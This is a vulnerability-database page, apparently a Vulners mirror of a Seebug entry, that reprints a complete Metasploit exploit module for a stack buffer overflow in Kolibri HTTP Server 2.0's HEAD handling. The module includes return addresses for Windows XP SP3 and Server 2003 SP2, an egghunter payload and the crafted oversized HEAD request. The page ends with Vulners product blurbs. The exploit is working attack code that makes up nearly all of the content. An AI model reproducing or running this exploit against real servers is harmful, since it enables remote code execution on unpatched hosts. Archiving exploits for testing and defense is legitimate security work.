Lucene search
K

Kolibri <= 2.0 - HTTP Server HEAD Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

Kolibri <= 2.0 - HTTP Server HEAD Buffer Overflo

Code

                                                ##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	HttpFingerprint = { :pattern =&#62; [ /kolibri-2\.0/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Kolibri &#60;= v2.0 HTTP Server HEAD Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
			&#39;Author&#39;         =&#62; 
					[ 
						&#39;mr_me &#60;[email protected]&#62;&#39;, # msf
						&#39;TheLeader&#39; # original exploit
					],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10887 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2002-2268&#39; ],
					[ &#39;OSVDB&#39;, &#39;70808&#39; ],
					[ &#39;BID&#39;, &#39;6289&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/15834/&#39; ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;       =&#62; 3000,
					&#39;DisableNops&#39; =&#62; true,
					&#39;BadChars&#39;    =&#62; &#34;\x00\x0d\x0a\x3d\x20\x3f&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP sp3&#39;, { &#39;Ret&#39; =&#62; 0x7E429353 } ] ,
					[ &#39;Windows Server 2003 sp2&#39;, { &#39;Ret&#39; =&#62; 0x76F73BC3 } ] ,
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Dec 26 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def check
		info = http_fingerprint
		if info and (info =~ /kolibri-2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		#7E429353    FFE4            JMP     ESP
		# For a reliable and large payload, we use an egg hunter
		# and direct RET to execute code
		print_status(&#34;Sending request...&#34;)
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack(&#39;V&#39;)
		sploit &#60;&#60; eh_stub
		send_request_raw({
			&#39;uri&#39;     =&#62; &#34;/&#34; + sploit,
			&#39;version&#39; =&#62; &#39;1.1&#39;,
			&#39;method&#39;  =&#62; &#39;HEAD&#39;,
			&#39;headers&#39; =&#62; {&#39;Content-Type&#39; =&#62; eh_egg},
		})

		handler
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation